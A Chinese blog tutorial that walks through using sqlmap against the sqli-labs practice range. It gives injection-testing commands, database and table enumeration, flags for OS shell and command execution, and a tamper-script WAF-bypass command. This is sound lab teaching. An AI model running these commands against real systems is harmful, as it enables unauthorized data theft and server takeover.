渗透测试-SQL注入之sqlmap使用

SQL注入之sqlmap使用

前言

一、sqlmap工具的介绍

SQL注入,一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,进行SQL注入攻击获取数据库信息的手段。

sqlmap是kali自带的的SQL注入自动扫描工具,是渗透测试中常用的SQL注入扫描工具,该实验需要下载靶场sqli-labs进行实验练习,通过靶场练习进行讲解。

二、利用sqlmap扫描获取数据库信息

1.sqlmap常用命令

此处为了方便,在window主机上下载了sqlmap工具,哥哥姐姐们可以利用kali自带的使用哦,我这里要下载sqlmap,创建终端方式进行运行,
这里教大家创建。
(1)第一步创建快捷方式
在这里插入图片描述
输入C:\Windows\System32\cmd.exe
点击下一页
在这里插入图片描述
点击完成。
在桌面出现一个cmd.exe的终端命令
右击查看属性
在这里插入图片描述
在起始位置填入你的安装目录。
在这里插入图片描述
创建完成。
点击运行
在这里插入图片描述输入python sqlmap.py
运行成功,接下来开始对网站进行扫描是否存在SQL注入漏洞。
最后总结一些常用的sqlmap命令

–users 列举数据库管理系统中的用户
–is-dba 检测当前用户是否是管理员
–os-shell 模拟一个可以执行任意命令的shell
–os-cmd 执行命令
-current-user 列举当前用户
risk 1风险等级
level 1 检测等级
-proxy =http:// 设置代理
-batch 非交互模式
-p 指定sql 注入点

2.读入数据打开命令行窗口,执行命令,获取数据库信息

输入命令
python sqlmap.py http://192.168.222.4/sqli-labs/Less-1/?id=1 --dbs(查看数据库)
在这里插入图片描述
再输入命令
python sqlmap.py -u http://192.168.222.4/sqli-labs/Less-1/?id=1 -D ok --tables(查看指定数据库中的表)
在这里插入图片描述
在这里插入图片描述
输入命令
python sqlmap.py -r zhian.txt --risk 3 level 3 -p id (扫描是否存在注入)
python sqlmap.py -r zhian.txt --risk 3 level 3(若不知道哪里出现注入,则使用这条语句)
在这里插入图片描述
本次实验进行第一关的练习
下载好phpstudy,将sqli-labs放到www目录下,打开网址
http://localhost/sqli-labs/
在这里插入图片描述
由于之前对网站手工注入发现id号存在注入点
http://192.168.222.4/sqli-labs/Less-1/?id=1
通过加单引号,出现报错
http://192.168.222.4/sqli-labs/Less-1/?id=1’
在这里插入图片描述
加上两个单引号,没有报错,发现存在注入点,放入sqlmap去跑,得到以上开始的结果,从而获取了对方的数据库信息
http://192.168.222.4/sqli-labs/Less-1/?id=1’’
在这里插入图片描述
从结果来看,该网站存在报错注入,联合注入
也可利用temper脚本进行waf绕过

sqlmap绕过waf方法,使用temper脚本
python sqlmap.py -u http://192.168.222.4/sqli-labs/Less-1/?id=1 --tamper=dunion --proxy=http://127.0.0.1:8080
在这里插入图片描述
从结果来看,存在布尔盲注,时间盲注,联合盲注,可以利用数据库等信息获取敏感信息进行拿shell,实验结束。

总结

本次实验简单介绍SQL注入的原理和sqlmap的使用方法,利用sqlmap判断是否存在SQL注入来获取数据库信息的方法,进行了一次简单的SQL注入靶场练习。

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值